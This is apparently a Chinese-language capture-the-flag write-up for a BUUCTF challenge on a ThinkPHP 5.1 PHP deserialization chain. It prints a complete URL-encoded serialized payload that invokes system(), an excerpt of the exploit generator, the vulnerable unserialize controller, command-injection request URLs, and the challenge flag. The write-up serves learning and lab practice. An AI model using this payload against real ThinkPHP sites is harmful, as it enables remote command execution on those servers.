0x00 前言
这道题目的环境是有问题的,我不知道是BUUCTF上的环境问题,还是说Nu1l官方的docker环境有问题。提供的源代码与环境自身的源代码不一致,导致浪费了很多时间,并且官方给的exp和wp无法对应,对于没有做过tp利用链的人来说门槛较高,还需要自己去debug,不过确实学到了很多,下面开始WP。
0x01 flag
n1book{de70641304640057390e8fabc8b515bf}
0x02 思路
- 访问环境时提示下载源代码
www.zip
- 下载源代码后解压缩,通过阅读readme.md发现是thinkphp 5.1版本,网上搜索后,得到利用链thinkphp_5.1_exp.php文件,只需执行
php thinkphp_5.1_exp.php
,便可以得到payload。关于利用链的构造网上很多大神分析了,可以看[Thinkphp 5.1 反序列化利用链深入分析],我就不分析了,重点讲下做题。(https://paper.seebug.org/1040/)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22payload内容如下:
O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A8%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D
```
3. 这里分析一下thinkphp的2个主要文件,然后分析一下[利用链thinkphp_5.1_exp.php文件](thinkphp_5.1_exp.php)
* 3.1 application\index\controller\index.php文件,只有请求被hello解析时,才能通过构造POST请求将payload赋值给str,实现反序列化利用。
```php
<?php
namespace app\index\controller;
class Index
{
public function index()
{
return "<a href='www.zip'>download code</a>";
}
public function hello()
{
unserialize($_POST['str']);
}
}- 3.2 route\route.php文件,压缩包源代码与实际BUUCTF服务器代码不一样。本人先在本地phpstudy搭建环境获得命令执行权限后,服务器相同url却不能获得权限,后来证实原因是路由代码不一致。
- 压缩包代码如下
1
2
3
4
5
6
7
Route::get('think', function () {
return 'hello,ThinkPHP5!';
});
Route::get('hello/:name', 'index/hello');
return [
];- BUUCTF服务器代码
1
2
3
4if (is_file($_SERVER["DOCUMENT_ROOT"] . $_SERVER["SCRIPT_NAME"]))
{ return false; }
else
{ require __DIR__ . "/index.php"; }
- BUUCTF服务器代码
- 压缩包代码如下
- 3.3 利用链thinkphp_5.1_exp.php文件前几行内容如下,其中
a
参数用来承载实际执行的命令。1
2
3
4
5
6
7
8
9
10
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["a"=>[""]];
$this->data = ["a"=>new Request()];
}
}
- 3.2 route\route.php文件,压缩包源代码与实际BUUCTF服务器代码不一样。本人先在本地phpstudy搭建环境获得命令执行权限后,服务器相同url却不能获得权限,后来证实原因是路由代码不一致。
- 本机phpstudy环境下,根据源代码构造了两种url请求,以whoami为例子。第一个请求路由为application\index\controller\index.php文件->Index类->hello()方法,第二个请求利用了thinkphp的兼容模式url
http://{your_server}/public/index.php/index/Index/hello?a=whoami
http://{your_server}/public/index.php?s=index/index/hello&a=whoami
- 介绍完本机命令执行,再来介绍BUUCTF命令执行。服务器只能用第二种请求,构造参数
a=cd /;ls
和a=cd /;cat FLAG
,str
的值为1中payload,通过hackbar
或burpsuite
发包。
0x03 总结
thinkphp 5.1的反序列化漏洞,由于thinkphp 5.1还存在RCE漏洞(漏洞触发条件是默认路由情况下,可以导致RCE),所以这道题源代码的route.php修改了默认路由,不能直接通过RCE执行命令,只能按着出题人思路用php反序列化。
难点如下
- 找到利用点,application\index\controller\index.php文件的hello函数
- 构造正确的路由,不清楚tp路由的话,很难构造正确的路由,正确构造
a
的值,post上传str
的payload - thinkphp5.1 php反序列化利用链